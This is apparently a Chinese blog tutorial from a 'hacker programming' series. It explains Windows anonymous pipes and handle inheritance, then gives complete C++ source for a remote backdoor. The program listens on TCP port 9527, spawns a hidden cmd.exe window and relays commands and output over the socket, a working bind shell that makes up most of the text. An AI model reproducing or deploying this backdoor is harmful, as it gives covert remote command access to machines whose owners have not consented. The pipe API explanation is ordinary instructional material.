【VS++积累】之七、黑客编程之匿名管道

3 篇文章 0 订阅

管道分为匿名管道和命名管道,这里我们来看一下匿名管道。

匿名管道通常用于一个子进程和一个父进程之间或两个子进程之间的通信。  一般我们的匿名管道用来改变标准输入,输出的方向或改变进程标准错误流。

BOOL WINAPI CreatePipe(
  _Out_     PHANDLE hReadPipe,
  _Out_     PHANDLE hWritePipe,
  _In_opt_  LPSECURITY_ATTRIBUTES lpPipeAttributes,
  _In_      DWORD nSize
);

我们用上面这个api函数来创建匿名管道。

        我们调用CreatePipe()建立一个匿名管道,我们可以使用管道在创建进程间通信, 也就是在线程间通信。  使用管道在进程间通信时任何非创建的进程在他们使用管道之前必须继承管道的句柄。

让一个进程继承管道的句柄,这个句柄须是可继承的,可以再调用CreatePipe前通过把LPSECURITY_ATTRIBUTE结构的bInheritHandle设为TRUE来制定这个句柄。

当一个进程继承一个句柄并不意味着它知道这个句柄的值,当进程继承了句柄,windows内部表中将包含有关句柄及其所指对象的信息。  这里句柄所指的对象为管道。  为了给新进程传递句柄的实际值,必须使用一些别的IPC机制,如:内存共享或者命名管道,这些将在后面介绍。


下面看几个api函数:

//预览一个管道中的数据,或取得与管道中的数据有关的信息.

BOOL WINAPI PeekNamedPipe(
  _In_       HANDLE hNamedPipe,//管道名
  _Out_opt_  LPVOID lpBuffer,//缓冲区
  _In_       DWORD nBufferSize,
  _Out_opt_  LPDWORD lpBytesRead,//保存装载到缓冲区的字符数量
  _Out_opt_  LPDWORD lpTotalBytesAvail,//保存管道中可用字符数量
  _Out_opt_  LPDWORD lpBytesLeftThisMessage//保存这次读操作后仍然保留在消息中的字符数。只能为那些基于消息的命名管道设置
);

//读写

BOOL WINAPI ReadFile(
  _In_         HANDLE hFile,//文件句柄(必须具有GENERIC_READ访问权限)。
  _Out_        LPVOID lpBuffer,//缓冲区
  _In_         DWORD nNumberOfBytesToRead,//要读的字节数
  _Out_opt_    LPDWORD lpNumberOfBytesRead,//实际读的字节数
  _Inout_opt_  LPOVERLAPPED lpOverlapped//
);


BOOL WINAPI WriteFile(
  _In_         HANDLE hFile,//文件句柄。
  _In_         LPCVOID lpBuffer,//缓冲区
  _In_         DWORD nNumberOfBytesToWrite,//要写的字节数
  _Out_opt_    LPDWORD lpNumberOfBytesWritten,//实际写的字节数
  _Inout_opt_  LPOVERLAPPED lpOverlapped//
);

管道不支持异步IO。


如果我们将 一个管道句柄分配给一个进程的标准输入,任何一个从标准输入读取数据的 函数,如从cin数据流中读取数据的函数或C的运行函数getchar(),都会从管道读取数据而不是从键盘读取。


下面先来看一个用匿名管道实现远程后门示例:

// tpDoor.cpp : Defines the entry point for the application.
//


#include "tpDoor.h"

BOOL SocketInit()
{
	WSADATA wsaData = {0};
	if ( WSAStartup(MAKEWORD(2, 2), &wsaData) == NO_ERROR ) {
		return TRUE;
	}else{
		return FALSE;
	}
}

int SendData(SOCKET m_Sock, void *pBuf, DWORD dwBufLen)  //封装,防止数据量过大。   发数据 都发过去==
{
	if ( m_Sock == INVALID_SOCKET || !pBuf || dwBufLen <= 0 ) {
		return -1;
	}
	int iCurrSend = 0, offset = 0;
	do {
		iCurrSend = send(m_Sock, (char *)pBuf+offset, dwBufLen, 0);
		if ( iCurrSend <= 0 ) {
			break;
		}
		dwBufLen -= iCurrSend;
		offset += iCurrSend;
	} while ( dwBufLen > 0 );
	return offset;
}

BOOL bExit = FALSE;
#define RECV_BUF_LEN 4096
char szCmdBuf[MAX_PATH] = {0};

DWORD WINAPI ThreadInputProc(LPVOID lpParam)
{
	CThreadNode tNode = *(CThreadNode *)lpParam;
	DWORD dwWrited = 0, dwRecvd = 0;
	char szBuf[MAX_PATH] = {0};
	BOOL bRet = FALSE;
	while ( TRUE ) {
		dwRecvd = recv(tNode.m_Sock, szBuf, MAX_PATH, 0);
		if ( dwRecvd > 0 && dwRecvd != SOCKET_ERROR ) {
			WriteFile(tNode.hPipe, szBuf, dwRecvd, &dwWrited, NULL);
		}else{
			closesocket(tNode.m_Sock);
			WriteFile(tNode.hPipe, "exit\r\n", sizeof("exit\r\n"), &dwWrited, NULL);//\r\n回车的意思
			bExit = TRUE;
			break;
		}
		Sleep(50);
	}
	return TRUE;
}

DWORD WINAPI ThreadOutputProc(LPVOID lpParam)  //从管道1中获取命令的执行结果
{
	CThreadNode tNode = *(CThreadNode *)lpParam;
	char szBuf[RECV_BUF_LEN] = {0};
	DWORD dwReadLen = 0, dwTotalAvail = 0;
	BOOL bRet = FALSE;
	while ( !bExit ) {
		dwTotalAvail = 0;
		bRet = PeekNamedPipe(tNode.hPipe, NULL, 0, NULL, &dwTotalAvail, NULL);//从管道中偷看 是否有数据  有的话拷贝一下看看
		if ( bRet && dwTotalAvail > 0 ) {
			bRet = ReadFile(tNode.hPipe, szBuf, RECV_BUF_LEN, &dwReadLen, NULL);//读
			if ( bRet && dwReadLen > 0 ) {
				SendData(tNode.m_Sock, szBuf, dwReadLen);
			}
			Sleep(50);
		}
	}
	return TRUE;
}

BOOL StartShell(UINT uPort)
{
	if ( !SocketInit() ) {//初始化
		return FALSE;
	}
	SOCKET m_ListenSock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);//建立socket
	if ( m_ListenSock == INVALID_SOCKET ) {
		return FALSE;
	}
	sockaddr_in sServer = {0};
	sServer.sin_family = AF_INET;
	sServer.sin_addr.s_addr = htonl(INADDR_ANY);
	sServer.sin_port = htons(uPort);
	if ( bind(m_ListenSock, (sockaddr *)&sServer, sizeof(sServer)) == SOCKET_ERROR ) {//绑定
		return FALSE;
	}
	if ( listen(m_ListenSock, 5) == SOCKET_ERROR ) {//监听
		return FALSE;
	}
	SOCKET m_AcceptSock = accept(m_ListenSock, NULL, NULL);//等待接收
	// Create Pipe;  创建管道
	CThreadNode m_ReadNode, m_WriteNode;
	STARTUPINFO si = {0};
	si.cb = sizeof(STARTUPINFO);
	PROCESS_INFORMATION pi = {0};
	DWORD dwThreadRead = 0, dwThreadWrite = 0;
	HANDLE hReadPipe1 = NULL, hWritePipe1 = NULL; // Input the command;
	HANDLE hReadPipe2 = NULL, hWritePipe2 = NULL; // Get the command results;
	HANDLE hThreadOutput = NULL, hThreadInput = NULL;
	SECURITY_ATTRIBUTES sa = {0};
	sa.nLength = sizeof(SECURITY_ATTRIBUTES);
	sa.lpSecurityDescriptor = NULL;
	sa.bInheritHandle = TRUE;

	if ( !CreatePipe(&hReadPipe1, &hWritePipe1, &sa, 0) || !CreatePipe(&hReadPipe2, &hWritePipe2, &sa, 0) ) {//创建管道   匿名管道  一端写入,另一端输出
		return FALSE;
	}
	m_ReadNode.m_Sock = m_WriteNode.m_Sock = m_AcceptSock;

	//创建子进程,让子进程使用此进程的启动信息
	GetStartupInfo(&si);//该函数返回进程在启动时被指定的 STARTUPINFO 结构
	si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
	si.hStdInput = hReadPipe1;
	si.hStdOutput = si.hStdError = hWritePipe2;
	si.wShowWindow = SW_HIDE;
	TCHAR szCmdLine[MAX_PATH] = {0};
	GetSystemDirectory(szCmdLine, MAX_PATH);//获取系统目录
	_tcscat_s(szCmdLine, MAX_PATH, _T("\\cmd.exe"));//要启动的程序
	if ( !CreateProcess(szCmdLine, NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi) ) {//创建进程
		return FALSE;
	}
	m_ReadNode.hPipe = hReadPipe2;
	hThreadOutput = CreateThread(NULL, 0, ThreadOutputProc, &m_ReadNode, 0, &dwThreadWrite);//创建线程   监视管道2中是否有数据。
	m_WriteNode.hPipe = hWritePipe1;
	hThreadInput = CreateThread(NULL, 0, ThreadInputProc, &m_WriteNode, 0, &dwThreadRead);  //  不断从主控端调用recv函数收取命令,写入管道1

	HANDLE szHandles[] = { hThreadOutput, hThreadInput };
	WaitForMultipleObjects(2, szHandles, TRUE, INFINITE);
	return TRUE;
}

int APIENTRY _tWinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPTSTR    lpCmdLine,
                     int       nCmdShow)
{
	StartShell(9527);
	return 0;
}



2012、10、29

jofranks于南昌

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值